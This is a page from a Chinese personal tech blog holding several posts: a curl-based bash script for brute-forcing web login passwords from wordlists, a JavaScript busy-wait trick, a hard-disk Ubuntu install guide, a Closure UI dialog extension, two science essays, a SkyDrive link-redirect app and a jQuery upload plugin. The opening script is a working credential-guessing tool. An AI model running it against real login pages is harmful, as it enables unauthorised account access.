使用CURL进行蛮力密码破解

先上脚本

#!/usr/bin/env bash

USERCOUNT=$(wc -l user.txt | cut -d' ' -f1)
PWDCOUNT=$(wc -l password.txt | cut -d' ' -f1)

for ((i=1; i<=$USERCOUNT; i++)); do
    USERNAME=`sed -n $i'p' user.txt`

    PASSWORD=$USERNAME
    echo "[$i][-]username=$USERNAME, password=$PASSWORD"
    echo ""
    curl 'https://localhost/loginurl' -H 'Connection: keep-alive' -H 'Host: localhost' -H 'Referer: https://localhost/index.jsp' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0' -H 'Content-Type: application/x-www-form-urlencoded' --data "username=$USERNAME&password=$PASSWORD" -D ./temp
    cat ./temp
    FOUND=`grep 'https://localhost/loginsuccess' ./temp`
    if [ "$FOUND" != "" ]; then
        echo 'FOUND!' 
        cat >> hit.txt <<EOS
username=$USERNAME, password=$PASSWORD
EOS
        continue
    fi
    echo 'sleep 2 seconds.'
    echo ''
    sleep 2

    for ((j=1; j<=$PWDCOUNT; j++)); do
        PASSWORD=`sed -n $j'p' password.txt`
        echo "[$i][$j]username=$USERNAME, password=$PASSWORD"
        echo ""
        curl 'https://localhost/loginurl' -H 'Connection: keep-alive' -H 'Host: localhost' -H 'Referer: https://localhost/index.jsp' -H 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0' -H 'Content-Type: application/x-www-form-urlencoded' --data "username=$USERNAME&password=$PASSWORD" -D ./temp
        cat ./temp
        FOUND=`grep 'https://localhost/loginsuccess' ./temp`
        if [ "$FOUND" != "" ]; then
            echo 'FOUND!' 
            cat >> hit.txt <<EOS
username=$USERNAME, password=$PASSWORD
EOS
            break
        fi
        echo 'sleep 2 seconds.'
        echo ''
        sleep 2
    done
    echo 'sleep 10 seconds.'
    echo ''
    sleep 10
done

将用户名列表保存为unix风格的user.txt
将密码列表保存为unix风格的password.txt
调整时间间隔
在curl返回的ResponseHeader里查找登录成功的标记(*关键)
开跑吧

本来是直接将ResponseHeader直接输出到/dev/stdout后搜索的

FOUND=`curl blabla -D /dev/stdout | grep 'https://localhost/loginsuccess'`

但不能直接看到ResponseHeader还是不太踏实Orz

大家请自重

7,544 次浏览 | 1 条评论
2014年3月11日 | 归档于 技术, 程序
标签: , ,

一句代码让JavaScript阻塞N秒

JavaScript有异步机制,没有必要故意阻塞线程N秒。
而且由于JavaScript的单线程执行特性,使得即使成功将线程停下来,由于没有第二个线程干活,阻塞也没有意义。另外,脚本被阻塞时,页面是停止响应的。

话说回来,如何去实现这个阻塞N秒呢?一要比较精准,二要对所有浏览器都无区别适用。

很自然想到循环执行一个代码段,执行X次,刚好消耗N秒,问题是浏览器的JS引擎性能不一致,这个次数不是恒值,而且还跟当前CPU的空闲状态相关

首先来看死循环:

while(2>1){};

嗯,脚本被永远阻塞了。

不妨假设N秒为5秒。如果刚好5秒计时到了就跳出循环的话:

var s = +new Date();
while(2>1) {
  if (+new Date() > s + 5000) {
    break;
  }
}

有了一个能刚好阻塞5秒的平台无关例子了,下面看看怎么将它缩短到1行代码

很显然可以将跳出条件作为while的循环条件

var s = +new Date();
while(s + 5000 > +new Date()) {}

嗯,缩短到了两行了。
for循环可以将变量放在初始条件声明,于是

for(var s = +new Date(); s + 5000 > +new Date();){}

一行达成!

将脚本阻塞5秒,循环体内又什么都不干,相当蛋疼。

将一个任务队列,比如函数数组,放在循环体内pop出来执行,大概上相当于:给你们最多5秒时间,干不完就算了!
只是最后一个执行函数如果占用超过5秒,总体时间也是不能保证的

最后是一些引擎的性能:

for(var s = +new Date(), i = 0; s + 5000 > +new Date(); i++){}
alert(i);

余的电脑,chrome27大概能执行290万次,firefox21大概能执行154万次,IE8大概能执行216万次
一次循环的运算大体上是:创建一个新的Date对象,将Date对象转换为数字,一次加法运算,一次比较运算,一次循环判断,一次自加运算
比较意外IE8居然比firefox性能好,firefox上,每次循环平均耗时0.0032毫秒。

单次循环的耗时还能下降一点,因为每次s+5000是不必要的

for(var s = +new Date() + 5000, i = 0; s > +new Date(); i++){}
alert(i);

循环次数大概能提高2~3万次。

逆过来循环i次,大体上在每个浏览器上都能得到5秒的延时

for(var s = +new Date()+5000, i = 0; s > +new Date(); i++){}
var start = +new Date();
for (;i--;) {s > +new Date();}
alert(+new Date() - start);
10,957 次浏览 | 1 条评论
2013年6月7日 | 归档于 技术, 程序

硬盘安装ubuntu 13.04

想通过深度卸载包来回收一点空间,执行了下面的命令,结果导致系统再也不能进入

dpkg --purge `dpkg --get-selections | grep deinstall | cut -f1` 

dpkg –purge时一定要谨慎啊,虽然有些包已经已经标记为deinstall,但事实还是不能卸载的

于是干脆安装ubuntu 13.04

不想刻录光盘,又不想使用u盘,采取硬盘安装方式(非wubi)。
因为需要修改grub.cfg,所以这种安装方式的前提是已经安装有ubuntu旧版本并且还能使用shell。

安装步骤:
1.下载ubuntu 13.04镜像,余是下载了64位的gnome版本。为了简化后面的修改,重命名镜像为ubuntu.iso。镜像推荐放在非目标安装分区的根目录下,例如D:\ubuntu.iso

2.确定ubuntu.iso所在磁盘以及所在分区的序号
只有一个硬盘的情况下,一般sda指示这个硬盘,sda1指示第一个分区。但扩展分区也会占用一个设备文件,并且有些序号没被使用但仍会空缺,所以保险起见,还是在ubuntu能用的时候,使用工具来确定:

sudo gparted

假设结果是/dev/sda5,那么ubuntu.iso所在磁盘/分区就是(hd0,5)

tips:
实在找不到是哪一个设备文件的情况下,可以一个一个的加载尝试(mount或者ntfs-3g命令)

sudo mkdir /mnt/d
sudo ntfs-3g /dev/sda5 /mnt/d
cd /mnt/d
ls

3.修改/boot/grub/grub.cfg(在ubuntu崩溃的情况下,用修复模式进入命令行即可修改),在最后增加:

menuentry "install ubuntu 13.04" --class gnu-linux --class gnu --class os {
        insmod ntfs
        loopback loop (hd0,5)/ubuntu.iso
        linux (loop)/casper/vmlinuz.efi boot=casper iso-scan/filename=/ubuntu.iso locale=en_US.utf8 noprompt noeject splash
        initrd (loop)/casper/initrd.lz
}

注意insmod
fat32/fat16分区 -> fat
NTFS分区 -> ntfs
ext2/ext3/ext4分区 -> ext2

重新启动计算机,grub菜单就会在最后增加一个新的选项。

4.成功启动后,首先卸载iso镜像:

ubuntu-gnome@ubuntu-gnome:~$ sudo umount -l /isodevice

如果启动安装程序后没找到磁盘分区信息,可以尝试卸载dmraid

ubuntu-gnome@ubuntu-gnome:~$ sudo apt-get remove dmraid

启动安装程序后没找到磁盘分区信息是个莫名其妙的BUG,ubuntu各个版本都存在。
新版ubuntu的内核都是3.0以上了,SATA硬盘的AHCI mode(BIOS中设置)是肯定支持的,虽然余切换到ATA模式时BUG也没出现,但推荐使用AHCI模式安装。如果出现这个BUG,在卸载dmraid后还不能解决时,可以尝试修改这个BIOS选项。

===补记===
Gnome版ubuntu 13.04的包升级一定要小心。
在安装好系统后,如果执行

sudo apt-get update
sudo apt-get upgrade

或者按照系统的建议进行包升级,在重启后登录时将会出现Failed to load session "gnome"错误!
原因是Gnome的很多相关包都没进入ubuntu的官方源,这样的升级会导致某些必要包被卸载

推荐的升级方法:

sudo add-apt-repository ppa:gnome3-team/gnome3
sudo apt-get update
sudo apt-get dist-upgrade

补救方法:在修复模式下执行同上命令

7,191 次浏览 | 1 条评论
2013年5月13日 | 归档于 技术
标签: , ,

扩展Google Closure的UI库:支持z-index的Dialog

上头一句命令,J工程由jQuery转到Google closure,于是挨踢民工的命运就是在每天在xxx库/xxx技术的海洋里沉浮

首先拿jQuery+bootstrap写的W工程中的一个功能练手,使用closure重写作为Demo
几点感想:
1. closure API超级罗嗦,jQuery的ID选择功能$('#some-id'),到closure就变成goog.dom.getElement('some-id')
这个还算短的呢,创建一个OK按钮:goog.ui.Dialog.ButtonSet.createOk(),想使用一个常量:goog.ui.Dialog.EventType.SELECT
2. closure很大,功能也很完善,第三方的库到目前为止还没需要
3. closure compiler还没试,但有maven上的plugin,这个超级棒,在打war包时同时完成编译和压缩js
4. closure的UI构造风格和jQuery UI/bootstrap不一样,jQuery UI/bootstrap对设计师更加友好,设计师不懂代码也可以写html和css,有利于分工,而closure UI的html由程序生成,写代码的人还要兼顾设计
5. closure的实现还是写得很明了的,也不亏它的命名又长又臭。从Dialog扩展一个支持z-index的ZindexDialog,余看了一下源码就能猜到是怎么回事。closure的源码比ExtJS的容易看懂

支持z-index的ZindexDialog源码:

/**
 * @author kuyur@kuyur.info
 */

goog.provide('justblog.ui.ZindexDialog');

goog.require('goog.ui.Dialog');

/**
 * @constructor
 * @param {string=} opt_class CSS class name for the dialog element, also used
 *     as a class name prefix for related elements; defaults to modal-dialog.
 * @param {boolean=} opt_useIframeMask Work around windowed controls z-index
 *     issue by using an iframe instead of a div for bg element.
 * @param {goog.dom.DomHelper=} opt_domHelper Optional DOM helper; see {@link
 *     goog.ui.Component} for semantics.
 * @extends {goog.ui.Dialog}
 */
justblog.ui.ZindexDialog = function(opt_class, opt_useIframeMask, opt_domHelper) {
	goog.base(this, opt_class, opt_useIframeMask, opt_domHelper);
	this.zindex_ = 0;
};
goog.inherits(justblog.ui.ZindexDialog, goog.ui.Dialog);

/**
 * @type {number}
 * @private
 */
justblog.ui.ZindexDialog.prototype.zindex_;

/**
 * Set z-index for the dialog.
 * @param {number} zindex
 */
justblog.ui.ZindexDialog.prototype.setZindex = function(zindex) {
	if (zindex == this.zindex_) {
		return;
	}
	this.zindex_ = zindex;
	this.renderIfNoDom_();

	var dlgEl = this.getElement();
	if (dlgEl) {
		var bgEl = this.getBackgroundElement();
		if (bgEl) {
			bgEl.style.zIndex = zindex;
		}
		dlgEl.style.zIndex = zindex;
	}
};

使用:
自定义模块的调用需要一些工作,可以参考:http://stackoverflow.com/questions/1918996/how-can-i-load-my-own-js-module-with-goog-provide-and-goog-require

在deps.js添加

goog.addDependency('pathToCustomUI/zindexdialog.js', ['justblog.ui.ZindexDialog'], ['goog.ui.Dialog']);

或者制作自己deps.js

demo代码:

goog.require('goog.ui.CustomButton');
goog.require('goog.ui.Dialog');
goog.require('goog.ui.Dialog.ButtonSet');
goog.require('justblog.ui.ZindexDialog');

var dlg = new justblog.ui.ZindexDialog();
dlg.setTitle('用户管理');
dlg.setContent('确定要删除用户吗?');
var buttons = new goog.ui.Dialog.ButtonSet();
buttons.addButton({caption: '取消', key: 'cancel'}, true, true);
buttons.addButton({caption: '确定', key: 'yes'});
dlg.setButtonSet(buttons);
dlg.createDom();
dlg.setZindex(1);
goog.dom.classes.add(dlg.getElement(), 'width-430px');
dlg.addEventListener(goog.ui.Dialog.EventType.SELECT, function(e) {
	if (e.key === "yes") {
		e.preventDefault();
		onYesClick();
	}
});

// ...

dlg.setVisible(true);

当有几个窗口同时处于弹出状态,又希望能控制遮盖关系时,使用setZindex即可设置堆叠顺序。
数字越大越在前。0是内置的默认值,设置成小于0,窗口将会被document覆盖

7,247 次浏览 | 1 条评论
2013年2月21日 | 归档于 技术, 程序

「先有鸡还是先有蛋?」的荒谬之处

先有鸡还是先有蛋?

从古代讨论到今天的蛋疼问题。

首先是进化论上的解答。假定鸡是从恐龙进化(当然实际情况没那么简单,鸡其实是从鸟类分化出来的)
有了进化论之后,蛋也必须是修正为鸡蛋而不是恐龙蛋。更严格一点,鸡蛋到底是「鸡」生的蛋呢还是能成长为「鸡」的蛋呢。
采用后一种「鸡蛋」定义:
按照鸡的定义,恐龙进化成鸡有一个决定性的瞬间(这个真「鸡」的既像恐龙又像鸡的祖先们都还不是鸡),
能够成长为第一个鸡的蛋是第一枚鸡蛋。所以先有鸡蛋才有鸡。

进化论上的解答是如此无趣。

但是我们忽略了古人提出这个问题时的他们认为能难倒对方的要害。
在古人提出问题的时候,没有进化论,因此鸡和蛋实际上是一个无限相互嵌套的队列。
在这个队列中,无论无穷遥远的过去还是无穷遥远的将来,鸡还会是鸡,蛋也还会是蛋,鸡不会突然变成另外的物种。
古人的这个问题实际上还忽略了雌雄,鸡变成了一个单性繁殖的抽象物种。
因此我们应该在古人的提出这个问题的认识基础上来破解这个问题。
(可以参看维基词条

问题其实是荒谬的。荒谬的地方就在于古人将个体的概念偷换成集合。

如果问2大还是1大,当然是2大。
但问偶数大呢还是奇数大呢?显然就非常荒谬了。
我们定义了整数的「大于」和「小于」概念,但没有定义集合的「大于」「小于」概念。
因此两个无穷集合的大小关系是无法确定的。元素个体的大小概念无法直接推广到集合上。

即使非要定义集合的大小关系,两个无穷集合,他们的每一个元素都恰好比对方的大,也恰好比对方的小,怎么比较?比较元素的和?比较平均值?
所以在数学上,集合只有包含/相交/不相交的关系,而没有大于小于的关系。

可以很简单的将先有鸡还是先有蛋问题映射到下面的数学问题:
不妨将鸡映射为奇数。
鸡 → 奇数
蛋 → 偶数
鸡生蛋 → 奇数+1变成偶数
蛋生鸡 → 偶数+1变成奇数
鸡/蛋序列中先有A才于B(A不一定紧邻B,可以隔几代) → 整数序列中,A < B 所以「先有鸡还是先有蛋」问题等价于「奇数大还是偶数大」问题。 正如奇数偶数只有具体个体才能比较大小,集合无从比较大小一样, 「先」这个关系也只能具体到某只鸡某只蛋才能比较,整个鸡集和蛋集是无从比较先后的。 将个体才能适用的概念偷换到集合上,正是「先有鸡还是先有蛋」问题的荒谬所在。 可能还有人要诡辩说, 如果具体到某个鸡和某个蛋,当然知道是鸡先还是蛋先了,但我问的是远古洪荒不知道什么时候开始产生了鸡和蛋,到底是鸡先还是蛋先啊? 如果要问问题呢,就不能既隐含某个立场又否定这个立场。 既然前提要求起点是无穷的开区间,就不能又要求把结果替换成起点是闭区间。 整数序列不知什么时候从负无穷开始产生奇数和偶数,到底是先有奇数还是先有偶数? (-∞,+∞),这个区间先有奇数还是先有偶数?一旦先有奇数,区间就会被截断为[某奇数,+∞)。显然问题不是这样问的。 既然隐含前提鸡/蛋序列是没有起点的,就不能要求答案使得鸡/蛋序列变成有起点。所以问题本省就逻辑矛盾。 一旦你因错就错,例如回答说先有鸡,他们就会问变成这个鸡的蛋呢,将有起点再一次偷换成无起点。 所以古人想不出个所以然来是因为他们一直在偷换概念。

5,894 次浏览 | 1 条评论
2013年1月20日 | 归档于 私语
标签:

充电后电池的质量会发生变化吗?

充电后电池的质量会发生变化吗?

这个和互联网数据的重量都是经常争论的话题。

理论上来说,充电后电池的质量应该会增加,虽然微乎其微。

很多人说充电过程是化学反应,没有发生质能转换过程,因此遵守质量守恒,质量不会发生变化。
这个答案要是放在中学,是正确的。但是正是因为被填鸭式教育洗脑太深,这个认识是肤浅的。

化学反应不严格遵守质量守恒。
严格的议题应该是:化学反应前后,反应物的质量不遵守质量守恒。
(这肯定会和很多人的认识冲突,中学化学教学说前后质量守恒只是从实用角度出发)

能量也是有质量的。
严格的议题应该是:能量会对系统产生质量贡献。
(肯定也会人迷糊)

首先从非化学的核反应说起。
大家都知道核裂变/核聚变/湮灭都会造成质量亏损,而且这个质量亏损是可以量度的。
亏损部分的质量转化为能量,整个过程遵守质能守恒。
一个不和外界发生质能交换的封闭系统,系统内部发生了核裂变,或者更极端一点,如正负电子湮灭,
系统内部的物质质量是减少了,但整个系统放到天平上称,就会发生变化了?
显然封闭系统的整体质量不会发生变化。封闭系统内的能量(γ光子)对系统的质量贡献弥补了物质质量减少的部分。
(具体可以参阅光子维基词条 http://zh.wikipedia.org/wiki/%E5%85%89%E5%AD%90)
光子具有动质量。

很多人不理解化学能的真正本质。
化学能释放的本质是伴随化学键重组电子从高能态轨道向低能态轨道跃迁产生的光子辐射。
化学能存储是其逆过程。电子在高能态轨道时的系统质量比在低能态轨道时大。

当2个氢分子和一个氧分子发生反应生成2个水分子,氢原子核还是那些氢原子核,氧原子核也还是那些氧原子核,
电子既不增多,也没有减少,只是电子的能态已经发生了变化,所在轨道也和反应前大不相同。
但由于辐射出光子,这个非封闭系统的质量已经减轻。这个质量变化数值非常非常微小,只存在于理论上,真实设备测不出来。

因此,化学反应前后,反应物的质量不遵守质量守恒。

说到底,物质的质量不单止是原子核和电子静质量的简单叠加,还包括原子核和核外电子的能量关系所产生的质量。
(同样道理,原子核质量不是质子和中子质量的简单叠加,质子/中子质量也不是夸克质量的简单叠加。越靠近物质本源,度量上质量不足就越可观)

回到电池充电。
电池充电后电池内部的电子数量并不会增加!(认为电子数量增加的认识是错误的,电池不是电容器)
电池充电后电池内部的原子核还是那些原子核,电子数量也没变化,但因为电子的能级发生了变化(具体表现在化学键上),
电池的蕴涵能量增加,理论上电池增加了这份能量对应的质量。具体可由质能方程计算出来。

一个2000mAh的1.2v电池,可以2A电流,1.2v电压,持续放电一小时,
因此简单的可以认为充满电后电池增加能量:2×1.2×3600=8640(J)
对应的质量增加:8640/(3×10^8)^2 = (8640/9)x10^(-16) = 9.6×10^(-14)(kg)

5,118 次浏览 | 没有评论
2013年1月17日 | 归档于 私语
标签:

再次修改skydrive-gae获取skydrive外链

与天斗,与地斗,与微软斗,其乐无穷
微软再一次修改了skydrive的文件获取逻辑,上一个版本的skydrive-gae终于失效

仔细分析了新版的文件重定向流程
比如访问URL:http://cid-e29fae4e10288b80.office.live.com/self.aspx/Public/PRMY-0018/PRMY-0018.rar
Response的Header的Location:https://skydrive.live.com/self.aspx/Public/PRMY-0018/PRMY-0018.rar?cid=e29fae4e10288b80&sc=documents

于是浏览器重定向访问:https://skydrive.live.com/self.aspx/Public/PRMY-0018/PRMY-0018.rar?cid=e29fae4e10288b80&sc=documents
Response的Header的Location:https://skydrive.live.com/?cid=e29fae4e10288b80&id=E29FAE4E10288B80%21300&sc=documents

浏览器再次重定向至https://skydrive.live.com/?cid=e29fae4e10288b80&id=E29FAE4E10288B80%21300&sc=documents
重定向到此为止

这个地方是关键:

E29FAE4E10288B80%21300

拿去喂skydrive.live.com/download.aspx就能获取动态的文件地址

http://skydrive.live.com/download.aspx?cid=E29FAE4E10288B80&resid=E29FAE4E10288B80%21300&canary=

于是关键地方就是获取所谓的resid,要害在第二次重定向

温习了下python,现学现用

# -*- coding: utf-8 -*-
from google.appengine.ext import webapp
from google.appengine.ext.webapp.util import run_wsgi_app
import urllib2, httplib
import re

def getcid(link):
    pos = link.find('.office.live.com')
    return link[4:pos]

def to_new_type_link(link):
    pos = link.find('.office.live.com')
    cid = link[4:pos]
    uri = link[pos+len('.office.live.com'):]
    new_link = 'skydrive.live.com' + uri + '?cid=' + cid# + '&sc=documents'
    return new_link

def get_real_link(static_url):    
    curl = "http://" + static_url
    request = urllib2.Request(curl)
    opener = urllib2.build_opener()
    response = opener.open(request)
    realurl = response.geturl()
    return realurl

def get_dynamic_download_link(real_url, cid):
    pos = real_url.find(cid) + len(cid) + len('&id=')
    resid = real_url[pos:]
    return 'http://skydrive.live.com/download.aspx?cid=' + cid.upper() + '&resid=' + resid + '&canary='

def replace_html_code(old_link):
    new_link = old_link.replace('\\/','/')
    new_link = new_link.replace('https://','http://')
    return new_link

class MainPage(webapp.RequestHandler):
    def get(self):
        old_type_link = self.request.path[1:]
        cid = getcid(old_type_link)
        new_type_link = to_new_type_link(old_type_link)
        real_link = get_real_link(new_type_link)
        self.response.headers['Content-Type'] = 'text/plain'
        self.redirect(replace_html_code(get_dynamic_download_link(real_link, cid)))
        
class IndexPage(webapp.RequestHandler):
    def get(self):
        self.response.out.write('''<html>
<head>
<title>
skydrie-gae
</title>
<meta content="A Google App Engine application for redirect the skydrive link" name="description">
<meta content="skydrive, skydirve-gae, gae, google app engin," name="keywords">
<meta name="google-site-verification" content="MRuE10bVaHltuPvjYFH0PGfvJAuCZ2FScfAviXiKDFE" />
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-4981483-8']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>
<body>
This another Google App Engine application!<br>
You can use it redirect the skydrive link.<br>
It's very simple:copy your skydrive link after the HOST,Then it's work.<br>
<br>
For Example:<br>
your skydrive link is <br>
http://cid-7978ee0a34b7f662.office.live.com/self.aspx/Public/EMS/2010/0627.mp3<br>
Then the static access link should be <br>
http://skydrive-gae.appspot.com/cid-7978ee0a34b7f662.office.live.com/self.aspx/Public/EMS/2010/0627.mp3<br>

remember remove the skydrive "http://"<br>

<br>
Thanks to <img src="http://msl.appspot.com/static/images/gmail.png"><br>
<br>
Modified by <img src="https://kuyur.net/blog/uploads/2010/03/mail.png"><br>
</body>
</html>''')
     
application = webapp.WSGIApplication(
                                     [('/', IndexPage),
                                     ('/index.html', IndexPage),
                                     ('/index.htm', IndexPage),
                                     ('/cid.*', MainPage),
                                     #(r'/http\*',MainPage),
                                     ],
                                     debug=True)

def main():
    run_wsgi_app(application)

if __name__ == "__main__":
    main()

skydrive-gae下载(python2.5):
skydrive-gae

才发现SDUpload失效了,要Google的官方SDK才能上传

=====追记======
其实python2.5版用得好好的,但每次登录appengine,都吵着要你升级到python2.7和新版的DataStore
skydrive-gae并不需要读写DataStore,至于升级到python2.7,稍微修改一下代码即可。

# -*- coding: utf-8 -*-
import webapp2
import urllib2, httplib
import re

def getcid(link):
    pos = link.find('.office.live.com')
    return link[4:pos]

def to_new_type_link(link):
    pos = link.find('.office.live.com')
    cid = link[4:pos]
    uri = link[pos+len('.office.live.com'):]
    new_link = 'skydrive.live.com' + uri + '?cid=' + cid# + '&sc=documents'
    return new_link

def get_real_link(static_url):    
    curl = "http://" + static_url
    request = urllib2.Request(curl)
    opener = urllib2.build_opener()
    response = opener.open(request)
    realurl = response.geturl()
    return realurl

def get_dynamic_download_link(real_url, cid):
    pos = real_url.find(cid) + len(cid) + len('&id=')
    resid = real_url[pos:]
    return 'http://skydrive.live.com/download.aspx?cid=' + cid.upper() + '&resid=' + resid + '&canary='

def replace_html_code(old_link):
    new_link = old_link.replace('\\/','/')
    new_link = new_link.replace('https://','http://')
    return new_link

class MainPage(webapp2.RequestHandler):
    def get(self):
        old_type_link = self.request.path[1:]
        cid = getcid(old_type_link)
        new_type_link = to_new_type_link(old_type_link)
        real_link = get_real_link(new_type_link)
        self.response.headers['Content-Type'] = 'text/plain'
        self.redirect(replace_html_code(get_dynamic_download_link(real_link, cid)))
        
class IndexPage(webapp2.RequestHandler):
    def get(self):
        self.response.out.write('''<html>
<head>
<title>
skydrie-gae
</title>
<meta content="A Google App Engine application for redirect the skydrive link" name="description">
<meta content="skydrive, skydirve-gae, gae, google app engin," name="keywords">
<meta name="google-site-verification" content="MRuE10bVaHltuPvjYFH0PGfvJAuCZ2FScfAviXiKDFE" />
<script type="text/javascript">

  var _gaq = _gaq || [];
  _gaq.push(['_setAccount', 'UA-4981483-8']);
  _gaq.push(['_trackPageview']);

  (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
  })();

</script>
</head>
<body>
This another Google App Engine application!<br>
You can use it redirect the skydrive link.<br>
It's very simple:copy your skydrive link after the HOST,Then it's work.<br>
<br>
For Example:<br>
your skydrive link is <br>
http://cid-7978ee0a34b7f662.office.live.com/self.aspx/Public/EMS/2010/0627.mp3<br>
Then the static access link should be <br>
http://skydrive-gae.appspot.com/cid-7978ee0a34b7f662.office.live.com/self.aspx/Public/EMS/2010/0627.mp3<br>

remember remove the skydrive "http://"<br>

<br>
Thanks to <img src="http://msl.appspot.com/static/images/gmail.png"><br>
<br>
Modified by <img src="https://kuyur.net/blog/uploads/2010/03/mail.png"><br>
</body>
</html>''')
     
app = webapp2.WSGIApplication(
                                     [('/', IndexPage),
                                     ('/index.html', IndexPage),
                                     ('/index.htm', IndexPage),
                                     ('/cid.*', MainPage),
                                     #(r'/http\*',MainPage),
                                     ],
                                     debug=True)

app.yaml也要修改一下:

application: your-app-id
version: 9
runtime: python27
api_version: 1
threadsafe: true

handlers:
- url: /.*
  script: index.app

skydrive-gae下载(python2.7):
skydrive-gae

6,273 次浏览 | 没有评论
2013年1月14日 | 归档于 技术, 程序

改良jQuery File Upload插件以及实现HTML5上传插件

在实现文件上传时刚开始用的是HTML5的FormData,简单优雅又快捷。但老大说不行,IE不支持不行,好想抽他。

jQuery的上传插件很多,有用HTML5的也有用iFrame的。
内部另一项目用的是lagos(http://lagoscript.org,应该是个泥轰精)开发的版本,拿来试用一下,发现居然没有处理失败的回调函数

原来的代码

/*
 * jQuery.upload v1.0.2
 *
 * Copyright (c) 2010 lagos
 * Dual licensed under the MIT and GPL licenses.
 *
 * http://lagoscript.org
 */
(function($) {

	var uuid = 0;

	$.fn.upload = function(url, data, callback, type) {
		var self = this, inputs, checkbox, checked,
			iframeName = 'jquery_upload' + ++uuid,
			iframe = $('<iframe name="' + iframeName + '" style="position:absolute;top:-9999px" />').appendTo('body'),
			form = '<form target="' + iframeName + '" method="post" enctype="multipart/form-data" />';

		if ($.isFunction(data)) {
			type = callback;
			callback = data;
			data = {};
		}

		checkbox = $('input:checkbox', this);
		checked = $('input:checked', this);
		form = self.wrapAll(form).parent('form').attr('action', url);

		// Make sure radios and checkboxes keep original values
		// (IE resets checkd attributes when appending)
		checkbox.removeAttr('checked');
		checked.attr('checked', true);

		inputs = createInputs(data);
		inputs = inputs ? $(inputs).appendTo(form) : null;

		form.submit(function() {
			iframe.load(function() {
				var data = handleData(this, type),
					checked = $('input:checked', self);

				form.after(self).remove();
				checkbox.removeAttr('checked');
				checked.attr('checked', true);
				if (inputs) {
					inputs.remove();
				}

				setTimeout(function() {
					iframe.remove();
					if (type === 'script') {
						$.globalEval(data);
					}
					if (callback) {
						callback.call(self, data);
					}
				}, 0);
			});
		}).submit();

		return this;
	};

	function createInputs(data) {
		return $.map(param(data), function(param) {
			return '<input type="hidden" name="' + param.name + '" value="' + param.value + '"/>';
		}).join('');
	}

	function param(data) {
		if ($.isArray(data)) {
			return data;
		}
		var params = [];

		function add(name, value) {
			params.push({name:name, value:value});
		}

		if (typeof data === 'object') {
			$.each(data, function(name) {
				if ($.isArray(this)) {
					$.each(this, function() {
						add(name, this);
					});
				} else {
					add(name, $.isFunction(this) ? this() : this);
				}
			});
		} else if (typeof data === 'string') {
			$.each(data.split('&'), function() {
				var param = $.map(this.split('='), function(v) {
					return decodeURIComponent(v.replace(/\+/g, ' '));
				});

				add(param[0], param[1]);
			});
		}

		return params;
	}

	function handleData(iframe, type) {
		var data, contents = $(iframe).contents().get(0);

		if ($.isXMLDoc(contents) || contents.XMLDocument) {
			return contents.XMLDocument || contents;
		}
		data = $(contents).find('body').html();

		switch (type) {
			case 'xml':
				data = parseXml(data);
				break;
			case 'json':
				data = window.eval('(' + data + ')');
				break;
		}
		return data;
	}

	function parseXml(text) {
		if (window.DOMParser) {
			return new DOMParser().parseFromString(text, 'application/xml');
		} else {
			var xml = new ActiveXObject('Microsoft.XMLDOM');
			xml.async = false;
			xml.loadXML(text);
			return xml;
		}
	}

})(jQuery);

改造了一下,主要是添加失败处理。
iFrame的onload事件一旦发生,说明response已经返回,所以在解析得到响应数据后,可以立刻清除iFrame。
iFrame的HTTP状态码无法判读,因此只能从响应数据判断上传成功还是失败。
服务器端返回的响应应当遵守下面的规则:
1.如果上传失败,HTTP状态码应为500,具体错误信息放在ResponseBody。这是为了兼容普通的XHR请求。
2.如果上传成功,HTTP状态码应为200,返回信息为json格式。
如果上传失败,返回的HTTP响应状态码为200,ResponseBody中放false(json)或者错误信息的字符串(非json),这个修改版的上传插件仍然能用。但服务器端如果要适配XHR文件上传,XHR的失败处理将变得非常丑陋。

/*
 * jQuery.upload v1.0.2
 *
 * Copyright (c) 2010 lagos
 * Dual licensed under the MIT and GPL licenses.
 * http://lagoscript.org
 *
 * modified by kuyur(https://kuyur.net)
 */
(function($) {

    var uuid = 0;

    /*
     * expectedType: only allow JSON now.
     */
    $.fn.upload = function(url, expectedType, onSuccess, onFailure, sendingData) {
        var self = this, inputs, checkbox, checked,
            iframeName = 'jquery_upload' + ++uuid,
            iframe = $('<iframe name="' + iframeName + '" style="display:none;visibility:hidden;height:0px;" />').appendTo('body'),
            form = '<form target="' + iframeName + '" method="post" enctype="multipart/form-data" />';

        checkbox = $('input:checkbox', this);
        checked = $('input:checked', this);
        form = self.wrapAll(form).parent('form').attr('action', url);

        // Make sure radios and checkboxes keep original values
        // (IE resets checkd attributes when appending)
        checkbox.removeAttr('checked');
        checked.attr('checked', true);

        if (typeof sendingData !== "object" && typeof sendingData !== "string") {
            sendingData = {};
        }
        inputs = createInputs(sendingData);
        inputs = inputs ? $(inputs).appendTo(form) : null;

        form.submit(function() {
            iframe.load(function() {
                var iframeDocument = $(this).contents().get(0),
                    response = $(iframeDocument).text(),
                    data = handleResponse(response, expectedType),
                    checked = $('input:checked', self);

                form.after(self).remove();
                checkbox.removeAttr('checked');
                checked.attr('checked', true);
                if (inputs) {
                    inputs.remove();
                }

                setTimeout(function() {
                    iframe.remove();
                    if (data) {
                        onSuccess.call(self, data);
                    } else {
                        onFailure.call(self, response);
                    }
                }, 0);
            });
        }).submit();

        return this;
    };

    function createInputs(data) {
        return $.map(param(data), function(param) {
            return '<input type="hidden" name="' + param.name + '" value="' + param.value + '"/>';
        }).join('');
    }

    function param(data) {
        if ($.isArray(data)) {
            return data;
        }
        var params = [];

        function add(name, value) {
            params.push({name:name, value:value});
        }

        if (typeof data === 'object') {
            $.each(data, function(name) {
                if ($.isArray(this)) {
                    $.each(this, function() {
                        add(name, this);
                    });
                } else {
                    add(name, $.isFunction(this) ? this() : this);
                }
            });
